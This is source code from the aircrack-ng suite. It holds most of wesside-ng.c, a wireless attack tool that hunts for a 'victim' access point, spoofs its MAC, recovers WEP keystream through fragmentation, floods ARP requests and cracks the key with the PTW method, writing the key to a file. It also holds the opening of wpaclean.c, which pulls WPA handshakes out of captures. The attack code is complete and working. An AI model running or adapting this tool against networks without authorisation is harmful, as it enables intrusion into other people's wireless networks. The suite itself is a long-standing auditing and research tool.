if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0)
&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
&& (dlen == 36 || dlen == PADDED_ARPLEN) && !ws->ws_cipher
&& !ws->ws_netip)
{
decrypt_arpreq(ws, wh, rd);
}
// we have prga... check if its our stuff being relayed...
if (ws->ws_pi.pi_len != 0)
{
check_relay(ws, wh, body, dlen);
return;
}
known_clear(clear, &clearsize, NULL, (void *) wh, dlen);
time_print("Datalen %d Known clear %d\n", dlen, clearsize);
set_prga(ws, body, &body[4], clear, clearsize);
}
static void
stuff_for_net(struct wstate * ws, struct ieee80211_frame * wh, int rd)
{
REQUIRE(wh != NULL);
int type, stype;
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
{
REQUIRE(ws != NULL);
int dlen = rd - sizeof(struct ieee80211_frame);
if (ws->ws_state == SPOOF_MAC)
{
unsigned char mac[6];
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
{
memcpy(mac, wh->i_addr3, 6);
}
else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
{
memcpy(mac, wh->i_addr1, 6);
}
else
abort();
if (mac[0] == 0xff || mac[0] == 0x1) return;
memcpy(ws->ws_mymac, mac, 6);
char * mac_p = mac2string(ws->ws_mymac);
ALLEGE(mac_p != NULL);
time_print("Trying to use MAC=(%s)\n", mac_p);
free(mac_p);
ws->ws_state = FOUND_VICTIM;
return;
}
// wep data!
if ((wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4 + 8 + 4))
{
got_wep(ws, wh, rd);
}
}
}
static void anal(struct wstate * ws, unsigned char * buf, int rd) // yze
{
REQUIRE(ws != NULL);
REQUIRE(buf != NULL);
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
int type, stype;
static int lastseq = -1;
int seq;
unsigned short * seqptr;
int for_us = 0;
if (rd < 1)
{
time_print("rd=%d\n", rd);
exit(EXIT_FAILURE);
}
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
// sort out acks
if (ws->ws_state >= FOUND_VICTIM)
{
// stuff for us
if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0)
{
for_us = 1;
if (type != IEEE80211_FC0_TYPE_CTL) send_ack(ws);
}
}
// XXX i know it aint great...
seqptr = (unsigned short *) wh->i_seq;
seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK)
>> IEEE80211_SEQ_SEQ_SHIFT;
if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY)
&& type != IEEE80211_FC0_TYPE_CTL)
{
// printf("Ignoring dup packet... seq=%d\n", seq);
return;
}
lastseq = seq;
// management frame
if (type == IEEE80211_FC0_TYPE_MGT)
{
if (ws->ws_state == FIND_VICTIM)
{
if (stype == IEEE80211_FC0_SUBTYPE_BEACON
|| stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
{
if (get_victim_ssid(ws, wh, rd))
{
return;
}
}
}
}
if (ws->ws_state >= FOUND_VICTIM)
{
// stuff for us
if (for_us)
{
stuff_for_us(ws, wh, rd);
}
// stuff in network [even for us]
if (((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
&& (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0))
||
((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
&& (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0)))
{
stuff_for_net(ws, wh, rd);
}
}
}
static void do_arp(unsigned char * buf,
unsigned short op,
unsigned char * m1,
char * i1,
unsigned char * m2,
char * i2)
{
REQUIRE(buf != NULL);
REQUIRE(m1 != NULL);
REQUIRE(m2 != NULL);
REQUIRE(i1 != NULL);
REQUIRE(i2 != NULL);
struct in_addr sip;
struct in_addr dip;
struct arphdr * h;
unsigned char * data;
inet_aton(i1, &sip);
inet_aton(i2, &dip);
h = (struct arphdr *) buf;
memset(h, 0, sizeof(*h));
h->ar_hrd = htons(ARPHRD_ETHER);
h->ar_pro = htons(ETHERTYPE_IP);
h->ar_hln = 6;
h->ar_pln = 4;
h->ar_op = htons(op);
data = (unsigned char *) h + sizeof(*h);
memcpy(data, m1, 6);
data += 6;
memcpy(data, &sip, 4);
data += 4;
memcpy(data, m2, 6);
data += 6;
memcpy(data, &dip, 4);
#if 0
data += 4;
#endif
}
static void
send_fragment(struct wstate * ws, struct frag_state * fs, struct prga_info * pi)
{
REQUIRE(ws != NULL);
REQUIRE(fs != NULL);
REQUIRE(pi != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16]
__attribute__((aligned(8)));
struct ieee80211_frame * wh;
unsigned char * body;
int fragsize;
uLong crc;
unsigned int * pcrc;
int i;
unsigned short * seq;
unsigned short sn, fn;
wh = (struct ieee80211_frame *) buf;
memcpy(wh, &fs->fs_wh, sizeof(*wh)); //-V512
body = (unsigned char *) wh + sizeof(*wh);
memcpy(body, &pi->pi_iv, 3);
body += 3;
*body++ = 0; // key index
fragsize = fs->fs_data + fs->fs_len - fs->fs_ptr;
ALLEGE(fragsize > 0);
if ((fragsize + 4) > pi->pi_len)
{
fragsize = pi->pi_len - 4;
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
}
// last fragment
else
{
wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
}
memcpy(body, fs->fs_ptr, fragsize);
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, body, fragsize);
pcrc = (unsigned int *) (body + fragsize); //-V1032
*pcrc = htole32(crc);
ALLEGE(fragsize < INT_MAX - 4);
for (i = 0;
i < (fragsize + 4) && (size_t) i < (sizeof(buf) - sizeof(*wh) - 1);
i++)
body[i] ^= pi->pi_prga[i];
seq = (unsigned short *) &wh->i_seq;
sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
fn = le16toh(*seq) & IEEE80211_SEQ_FRAG_MASK;
// printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
send_frame(ws, buf, sizeof(*wh) + 4 + fragsize + 4);
seq = (unsigned short *) &fs->fs_wh.i_seq;
*seq = fnseq(++fn, sn);
fs->fs_ptr += fragsize;
if (fs->fs_ptr - fs->fs_data == fs->fs_len)
{
// printf("Finished sending frags...\n");
fs->fs_waiting_relay = 1;
}
}
static void
prepare_fragstate(struct wstate * ws, struct frag_state * fs, int pad)
{
REQUIRE(fs != NULL);
fs->fs_waiting_relay = 0;
fs->fs_len = 8 + 8 + 20 + pad;
fs->fs_data = (unsigned char *) malloc(fs->fs_len);
if (!fs->fs_data)
{
perror("malloc()");
exit(EXIT_FAILURE);
}
REQUIRE(ws != NULL);
fs->fs_ptr = fs->fs_data;
do_llc(fs->fs_data, ETHERTYPE_ARP);
do_arp(&fs->fs_data[8],
ARPOP_REQUEST,
ws->ws_mymac,
ws->ws_myip,
(unsigned char *) "\x00\x00\x00\x00\x00\x00",
"192.168.0.1");
memset(&fs->fs_wh, 0, sizeof(fs->fs_wh));
fill_basic(ws, &fs->fs_wh);
memset(fs->fs_wh.i_addr3, 0xff, 6);
fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
fs->fs_wh.i_fc[1]
|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_WEP;
memset(&fs->fs_data[8 + 8 + 20], 0, pad);
}
static void discover_prga(struct wstate * ws)
{
REQUIRE(ws != NULL);
// create packet...
if (!ws->ws_fs.fs_data)
{
int pad = 0;
if (ws->ws_pi.pi_len >= 20) pad = ws->ws_pi.pi_len * 3;
prepare_fragstate(ws, &ws->ws_fs, pad);
}
if (!ws->ws_fs.fs_waiting_relay)
{
send_fragment(ws, &ws->ws_fs, &ws->ws_pi);
if (ws->ws_fs.fs_waiting_relay)
{
if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1)
err(1, "gettimeofday()");
}
}
}
static void decrypt(struct wstate * ws)
{
REQUIRE(ws != NULL);
// gotta initiate
if (!ws->ws_dfs.fs_data)
{
prepare_fragstate(ws, &ws->ws_dfs, 0);
memcpy(ws->ws_dfs.fs_wh.i_addr3, MCAST_PREF, 5);
ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
ws->ws_dpi.pi_len++;
}
// guess diff prga byte...
if (ws->ws_dfs.fs_waiting_relay)
{
unsigned short seq;
ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1]++;
ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
ws->ws_dfs.fs_waiting_relay = 0;
ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data;
seq = fnseq(0, ws->ws_psent);
ws->ws_dfs.fs_wh.i_seq[0] = (uint8_t) (seq >> 8);
ws->ws_dfs.fs_wh.i_seq[1] = (uint8_t) (seq % 256);
}
send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi);
}
static void send_arp(struct wstate * ws,
unsigned short op,
char * srcip,
unsigned char * srcmac,
char * dstip,
unsigned char * dstmac)
{
static unsigned char arp_pkt[sizeof(struct ieee80211_frame) * 16];
unsigned char * body;
unsigned char * ptr;
struct ieee80211_frame * wh;
int arp_len;
memset(arp_pkt, 0, sizeof(arp_pkt));
// construct ARP
wh = (struct ieee80211_frame *) arp_pkt;
fill_basic(ws, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
memset(wh->i_addr3, 0xff, 6);
body = (unsigned char *) wh + sizeof(*wh);
ptr = body;
ptr += 4; // iv
do_llc(ptr, ETHERTYPE_ARP);
ptr += 8;
do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
wepify(ws, body, 8 + 8 + 20);
arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
assert(arp_len < (int) sizeof(arp_pkt)); //-V547
send_frame(ws, arp_pkt, arp_len);
}
static int find_mac(struct wstate * ws)
{
REQUIRE(ws != NULL);
if (!(ws->ws_netip && !ws->ws_rtrmac)) return (0);
if (gettimeofday(&ws->ws_arpsend, NULL) == -1) err(1, "gettimeofday()");
time_print("Sending arp request for: %s\n", ws->ws_netip);
send_arp(ws,
ARPOP_REQUEST,
ws->ws_myip,
ws->ws_mymac,
ws->ws_netip,
(unsigned char *) "\x00\x00\x00\x00\x00\x00");
// XXX lame
ws->ws_rtrmac = (unsigned char *) 1;
return (1);
}
static int flood(struct wstate * ws)
{
REQUIRE(ws != NULL);
if (!(ws->ws_rtrmac > (unsigned char *) 1 && ws->ws_netip)) return (0);
// could ping broadcast....
send_arp(ws,
ARPOP_REQUEST,
ws->ws_myip,
ws->ws_mymac,
ws->ws_netip,
(unsigned char *) "\x00\x00\x00\x00\x00\x00");
return (1);
}
static void can_write(struct wstate * ws)
{
REQUIRE(ws != NULL);
switch (ws->ws_state)
{
case FOUND_VICTIM:
send_auth(ws);
ws->ws_state = SENDING_AUTH;
break;
case GOT_AUTH:
send_assoc(ws);
ws->ws_state = SENDING_ASSOC;
break;
case GOT_ASSOC:
if (ws->ws_pi.pi_prga && ws->ws_pi.pi_len < ws->ws_min_prga)
{
discover_prga(ws);
break;
}
if (ws->ws_cipher)
{
decrypt(ws);
break;
}
if (!ws->ws_pi.pi_prga) break;
// try to find rtr mac addr
if (find_mac(ws)) break;
// need to generate traffic...
if (flood(ws)) break;
break;
}
}
static void save_key(unsigned char * key, int len)
{
REQUIRE(key != NULL);
char tmp[16];
char k[64];
int fd;
int rd;
REQUIRE(len * 3 < (int) sizeof(k));
k[0] = 0;
while (len--)
{
snprintf(tmp, 3, "%.2X", *key++);
strlcat(k, tmp, sizeof(k));
if (len) strncat(k, ":", 2);
}
fd = open(
KEY_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (fd == -1) err(1, "open()");
printf("\nKey: %s\n", k);
rd = write(fd, k, strlen(k));
if (rd == -1) err(1, "write()");
if (rd != (int) strlen(k)) errx(1, "write %d/%d\n", rd, (int) strlen(k));
close(fd);
}
static int do_crack(struct wstate * ws)
{
unsigned char key[PTW_KEYHSBYTES];
int(*all)[256];
int i, j;
all = malloc(32 * sizeof(int[256]));
if (all == NULL)
{
return (1);
}
// initial setup (complete keyspace)
for (i = 0; i < 32; i++)
{
for (j = 0; j < 256; j++)
{
all[i][j] = 1;
}
}
REQUIRE(ws != NULL);
if (PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0)
== 1)
{
save_key(key, 13);
free(all);
return (1);
}
if (PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT / 10, PTW_DEFAULTBF, all, 0)
== 1)
{
save_key(key, 5);
free(all);
return (1);
}
free(all);
return (0);
}
static void sigchild(int x)
{
UNUSED_PARAM(x);
struct wstate * ws;
ws = get_ws();
ALLEGE(ws != NULL); //-V547
ws->ws_crack_pid = 0; /* crack done */
}
static void try_crack(struct wstate * ws)
{
REQUIRE(ws != NULL);
if (ws->ws_crack_pid)
{
printf("\n");
time_print("Warning... previous crack still running!\n");
kill_crack(ws);
}
if (ws->ws_fd)
{
if (fsync(ws->ws_fd) == -1) err(1, "fsync");
}
ws->ws_crack_pid = fork();
if (ws->ws_crack_pid == -1) err(1, "fork");
// child
if (ws->ws_crack_pid == 0)
{
if (!do_crack(ws))
{
printf("\n");
time_print("Crack unsuccessful\n");
}
exit(EXIT_FAILURE);
}
// parent
printf("\n");
time_print("Starting crack PID=%d\n", ws->ws_crack_pid);
if (gettimeofday(&ws->ws_crack_start, NULL) == -1) err(1, "gettimeofday");
ws->ws_wep_thresh += ws->ws_thresh_incr;
}
static void open_wepfile(struct wstate * ws)
{
REQUIRE(ws != NULL);
ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND);
if (ws->ws_fd == -1)
{
struct pcap_file_header pfh;
memset(&pfh, 0, sizeof(pfh));
pfh.magic = TCPDUMP_MAGIC;
pfh.version_major = PCAP_VERSION_MAJOR;
pfh.version_minor = PCAP_VERSION_MINOR;
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = 65535;
pfh.linktype = LINKTYPE_IEEE802_11;
ws->ws_fd = open(WEP_FILE,
O_WRONLY | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (ws->ws_fd != -1)
{
if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh))
err(1, "write()");
}
}
else
{
time_print("WARNING: Appending in %s\n", WEP_FILE);
}
if (ws->ws_fd == -1) err(1, "open()");
}
static void load_prga(struct wstate * ws)
{
int fd, rd;
unsigned char buf[4096];
fd = open(PRGA_FILE, O_RDONLY);
if (fd != -1)
{
time_print("WARNING: reading prga from %s\n", PRGA_FILE);
rd = read(fd, buf, sizeof(buf));
if (rd == -1)
{
perror("read()");
exit(EXIT_FAILURE);
}
if (rd >= 8)
{
set_prga(ws, buf, NULL, &buf[3], rd - 3);
}
close(fd);
}
}
static void check_relay_timeout(struct wstate * ws, struct timeval * now)
{
REQUIRE(ws != NULL);
if (!ws->ws_fs.fs_waiting_relay) return;
int el = elapsed_time_diff(&ws->ws_fs.fs_last, now);
if (el > (1500 * 1000))
{
free(ws->ws_fs.fs_data);
ws->ws_fs.fs_data = 0;
}
}
static void check_arp_timeout(struct wstate * ws, struct timeval * now)
{
REQUIRE(ws != NULL);
if (ws->ws_rtrmac != (unsigned char *) 1) return;
int el = elapsed_time_diff(&ws->ws_arpsend, now);
if (el >= (1500 * 1000))
{
ws->ws_rtrmac = 0;
}
}
static void display_status_bar(struct wstate * ws,
struct timeval * now,
struct timeval * last_status,
char * pbarp)
{
int el;
el = elapsed_time_diff(last_status, now);
if (el < 100 * 1000) return;
if (ws->ws_crack_pid) check_key(ws);
if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga
&& ws->ws_rtrmac > (unsigned char *) 1)
{
time_print("WEP=%.9d (next crack at %d) "
"IV=%.2x:%.2x:%.2x (rate=%d) \r",
ws->ws_packets,
ws->ws_wep_thresh,
ws->ws_iv[0],
ws->ws_iv[1],
ws->ws_iv[2],
ws->ws_rate);
}
else
{
if (ws->ws_state == FIND_VICTIM)
{
time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp);
}
else if (ws->ws_cipher)
{
int pos = ws->ws_dpi.pi_len - 1;
unsigned char prga = ws->ws_dpi.pi_prga[pos];
ALLEGE(pos != 0);
time_print("Guessing PRGA %.2x (IP byte=%d) \r",
prga,
ws->ws_cipher[pos] ^ prga);
}
else
time_print("%c\r", *pbarp);
}
fflush(stdout);
memcpy(last_status, now, sizeof(*last_status));
}
static void check_tx(struct wstate * ws, struct timeval * now)
{
REQUIRE(ws != NULL);
if (!ws->ws_waiting_ack) return;
int elapsed = elapsed_time_diff(&ws->ws_tsent, now);
if (elapsed >= (int) ws->ws_ack_timeout) send_frame(ws, NULL, -1);
}
static void check_hop(struct wstate * ws, struct timeval * now)
{
REQUIRE(ws != NULL);
int elapsed;
int chan = ws->ws_chan;
elapsed = elapsed_time_diff(&ws->ws_lasthop, now);
if (elapsed < 300 * 1000) return;
chan++;
if (chan > ws->ws_max_chan) chan = 1;
set_chan(ws, chan);
memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop));
}
static void post_input(struct wstate * ws, struct timeval * now)
{
REQUIRE(ws != NULL);
int el;
// check state and what we do next.
if (ws->ws_state == FIND_VICTIM)
{
check_hop(ws, now);
return;
}
// check if we need to write something...
if (!ws->ws_waiting_ack) can_write(ws);
el = elapsed_time_diff(&ws->ws_last_wcount, now);
/* calculate rate, roughly */
if (el < 1 * 1000 * 1000) return;
ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count;
ws->ws_last_wep_count = ws->ws_packets;
memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount));
if (ws->ws_wep_thresh != -1
&& ws->ws_packets > (unsigned int) ws->ws_wep_thresh)
try_crack(ws);
}
static void do_input(struct wstate * ws)
{
unsigned char buf[4096];
int rd;
rd = wi_read(ws->ws_wi, NULL, NULL, buf, sizeof(buf), NULL);
if (rd == 0) return;
if (rd == -1)
{
perror("read()");
exit(EXIT_FAILURE);
}
// input
anal(ws, buf, rd);
}
static void own(struct wstate * ws)
{
REQUIRE(ws != NULL);
int rd;
fd_set rfd;
struct timeval tv;
char * pbar = "/-\\|";
char * pbarp = &pbar[0];
struct timeval now;
struct timeval last_status;
int largest;
int wifd;
wifd = wi_fd(ws->ws_wi);
open_wepfile(ws);
load_prga(ws);
largest = wi_fd(ws->ws_wi);
if (signal(SIGINT, &cleanup) == SIG_ERR)
{
perror("signal()");
exit(EXIT_FAILURE);
}
if (signal(SIGTERM, &cleanup) == SIG_ERR)
{
perror("signal()");
exit(EXIT_FAILURE);
}
if (signal(SIGCHLD, &sigchild) == SIG_ERR)
{
perror("signal()");
exit(EXIT_FAILURE);
}
time_print("Looking for a victim...\n");
if (gettimeofday(&ws->ws_lasthop, NULL) == -1)
{
perror("gettimeofday()");
exit(EXIT_FAILURE);
}
memcpy(&ws->ws_last_wcount, &ws->ws_lasthop, sizeof(ws->ws_last_wcount));
memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status));
while (1)
{
if (gettimeofday(&now, NULL) == -1)
{
perror("gettimeofday()");
exit(EXIT_FAILURE);
}
/* check for relay timeout */
check_relay_timeout(ws, &now);
/* check for arp timeout */
check_arp_timeout(ws, &now);
// status bar
display_status_bar(ws, &now, &last_status, pbarp);
// check if we are cracking
if (ws->ws_crack_pid)
{
if ((now.tv_sec - ws->ws_crack_start.tv_sec) >= ws->ws_crack_dur)
kill_crack(ws);
}
// check TX / retransmit
check_tx(ws, &now);
// INPUT
// select
FD_ZERO(&rfd);
FD_SET(wifd, &rfd);
tv.tv_sec = 0;
tv.tv_usec = 1000 * 10;
rd = select(largest + 1, &rfd, NULL, NULL, &tv);
if (rd == -1)
{
switch (errno)
{
case EINTR: /* handle SIGCHLD */
break;
default:
perror("select()");
exit(EXIT_FAILURE);
break;
}
}
// read
if (rd != 0 && FD_ISSET(wifd, &rfd))
{
/* update status */
pbarp++;
if (!(*pbarp)) pbarp = &pbar[0];
do_input(ws);
}
post_input(ws, &now);
}
}
static void start(struct wstate * ws, char * dev)
{
REQUIRE(ws != NULL);
struct wif * wi;
ws->ws_wi = wi = wi_open(dev);
if (!wi) err(1, "wi_open(%s)", dev);
if (!ws->ws_have_mac)
{
if (wi_get_mac(wi, ws->ws_mymac) == -1) printf("Can't get mac\n");
}
else
{
if (wi_set_mac(wi, ws->ws_mymac) == -1) printf("Can't set mac\n");
}
char * mac = mac2string(ws->ws_mymac);
ALLEGE(mac != NULL);
time_print("Using mac %s\n", mac);
free(mac);
ws->ws_ptw = PTW_newattackstate();
if (!ws->ws_ptw) err(1, "PTW_newattackstate()");
own(ws);
wi_close(wi);
}
static void usage(char * pname)
{
UNUSED_PARAM(pname);
char * version_info
= getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf("\n"
" %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
" https://www.aircrack-ng.org\n"
"\n"
" Usage: wesside-ng <options>\n"
"\n"
" Options:\n"
"\n"
" -h : This help screen\n"
" -i <iface> : Interface to use (mandatory)\n"
" -m <my ip> : My IP address\n"
" -n <net ip> : Network IP address\n"
" -a <mymac> : Source MAC Address\n"
" -c : Do not crack the key\n"
" -p <min prga> : Minimum bytes of PRGA to gather\n"
" -v <victim mac> : Victim BSSID\n"
" -t <threshold> : Cracking threshold\n"
" -f <max chan> : Highest scanned chan (default: 11)\n"
" -k <txnum> : Ignore acks and tx txnum times\n"
"\n",
version_info);
free(version_info);
exit(EXIT_SUCCESS);
}
static void init_defaults(struct wstate * ws)
{
REQUIRE(ws != NULL);
memset(ws, 0, sizeof(*ws));
ws->ws_state = FIND_VICTIM;
ws->ws_max_chan = 11;
memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
ws->ws_have_mac = 0;
strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip) - 1);
ws->ws_ack_timeout = 100 * 1000;
ws->ws_min_prga = 128;
ws->ws_wep_thresh = ws->ws_thresh_incr = 10000;
ws->ws_crack_dur = 60;
}
int main(int argc, char * argv[])
{
struct wstate * ws = get_ws();
int ch;
unsigned char vic[6];
char * dev = "IdidNotSpecifyAnInterface";
ALLEGE(ws != NULL); //-V547
init_defaults(ws);
if (gettimeofday(&ws->ws_real_start, NULL) == -1)
{
perror("gettimeofday()");
exit(EXIT_FAILURE);
}
while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1)
{
switch (ch)
{
case 'k':
ws->ws_ignore_ack = atoi(optarg);
break;
case 'a':
str2mac(ws->ws_mymac, optarg);
ws->ws_have_mac = 1;
break;
case 'i':
dev = optarg;
break;
case 'm':
strncpy(ws->ws_myip, optarg, sizeof(ws->ws_myip) - 1);
ws->ws_myip[sizeof(ws->ws_myip) - 1] = 0;
break;
case 'n':
ws->ws_netip = optarg;
break;
case 'v':
str2mac(vic, optarg);
ws->ws_victim_mac = vic; //-V507
break;
case 'c':
ws->ws_wep_thresh = -1;
break;
case 'p':
ws->ws_min_prga = atoi(optarg);
break;
case 't':
ws->ws_thresh_incr = ws->ws_wep_thresh = atoi(optarg);
break;
case 'f':
ws->ws_max_chan = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if (argc > 1)
start(ws, dev);
else
usage(argv[0]);
cleanup(0);
exit(EXIT_SUCCESS);
} |
C | aircrack-ng/src/wpaclean/wpaclean.c | /*
* Copyright (C) 2011 Andrea Bittau <bittau@cs.stanford.edu>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/support/common.h"
struct packet
{
struct timespec p_ts;
unsigned char p_data[2048];
int p_len;
};
struct client
{
unsigned char c_mac[6];
int c_wpa;
int c_wpa_got;
struct packet c_handshake[4];
struct client * c_next;
};
static struct network
{
unsigned char n_bssid[6];
unsigned char n_beacon[2048];
int n_beaconlen;
char n_ssid[256];
struct client n_clients;
struct client * n_handshake;
struct network * n_next;
} _networks;
static char * _outfilename;
static int _outfd;
static int open_pcap(const char * fname)
{
REQUIRE(fname != NULL);
int fd;
struct pcap_file_header pfh;
memset(&pfh, 0, sizeof(pfh));
pfh.magic = TCPDUMP_MAGIC;
pfh.version_major = PCAP_VERSION_MAJOR;
pfh.version_minor = PCAP_VERSION_MINOR;
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = 65535;
pfh.linktype = LINKTYPE_IEEE802_11;
fd = open(fname,
O_WRONLY | O_CREAT | O_TRUNC,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (fd == -1) err(1, "open(%s)", fname);
if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");
return (fd);
}
static inline void
write_pcap(int fd, const struct timespec * ts, const void * p, const int len)
{
REQUIRE(p != NULL);
struct pcap_pkthdr pkh;
memset(&pkh, 0, sizeof(pkh));
pkh.caplen = pkh.len = len;
pkh.tv_sec = ts->tv_sec;
pkh.tv_usec = ts->tv_nsec / 1000UL;
if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
if (write(fd, p, len) != len) err(1, "write()");
}
static inline void packet_write_pcap(int fd, const struct packet * p)
{
write_pcap(fd, &p->p_ts, p->p_data, p->p_len);
}
static void print_network(const struct network * n)
{
REQUIRE(n != NULL);
printf("Net %.2x:%.2x:%.2x:%.2x:%.2x:%.2x %s\n",
n->n_bssid[0],
n->n_bssid[1],
n->n_bssid[2],
n->n_bssid[3],
n->n_bssid[4],
n->n_bssid[5],
n->n_ssid);
}
static void save_network(const struct timespec * ts, const struct network * n)
{
REQUIRE(n != NULL);
int i;
if (_outfd == 0)
{
_outfd = open_pcap(_outfilename);
}
write_pcap(_outfd, ts, n->n_beacon, n->n_beaconlen);
for (i = 0; i < 4; i++)
{
struct packet * p = &n->n_handshake->c_handshake[i];
ALLEGE(p != NULL); //-V547
if (p->p_len) packet_write_pcap(_outfd, p);
}
}
static void fix_beacon(struct network * n)
{
REQUIRE(n != NULL);
unsigned char * p;
int ssidlen;
int origlen;
/* beacon surgery */
p = n->n_beacon + sizeof(struct ieee80211_frame) + 8 + 2 + 2;
ssidlen = strlen(n->n_ssid);
ALLEGE((n->n_beaconlen + ssidlen) <= (int) sizeof(n->n_beacon));
ALLEGE(*p == IEEE80211_ELEMID_SSID);
p++;
if (*p != 0 && p[1] != 0) return;
origlen = *p;
*p++ = ssidlen;
ALLEGE(origlen == 0 || p[0] == 0);
memmove(
p + ssidlen, p + origlen, n->n_beaconlen - (p + origlen - n->n_beacon));
memcpy(p, n->n_ssid, ssidlen);
n->n_beaconlen += ssidlen - origlen;
}
static void check_network(struct timespec * ts, int * dlt, struct network * n)
{
UNUSED_PARAM(dlt);
REQUIRE(n != NULL);
if (!n->n_beaconlen || !n->n_handshake || !n->n_ssid[0]) return;
fix_beacon(n);
print_network(n);
save_network(ts, n);
}
static inline struct network * find_net(const unsigned char * b)
{
REQUIRE(b != NULL);
struct network * n = _networks.n_next;
while (n)
{
if (memcmp(b, n->n_bssid, sizeof(n->n_bssid)) == 0) return (n);
n = n->n_next;
}
return (NULL);
}
static inline struct network * net_add(const unsigned char * bssid)
{
REQUIRE(bssid != NULL);
struct network * n = malloc(sizeof(*n));
if (!n) err(1, "malloc()");
memset(n, 0, sizeof(*n));
memcpy(n->n_bssid, bssid, sizeof(n->n_bssid));
n->n_next = _networks.n_next;
_networks.n_next = n;
return (n);
}
static inline struct network * find_add_net(const unsigned char * bssid)
{
struct network * n;
n = find_net(bssid);
if (n) return (n);
return (net_add(bssid));
}
static inline struct client * find_client(const struct network * n,
const unsigned char * mac)
{
REQUIRE(n != NULL);
struct client * c = n->n_clients.c_next;
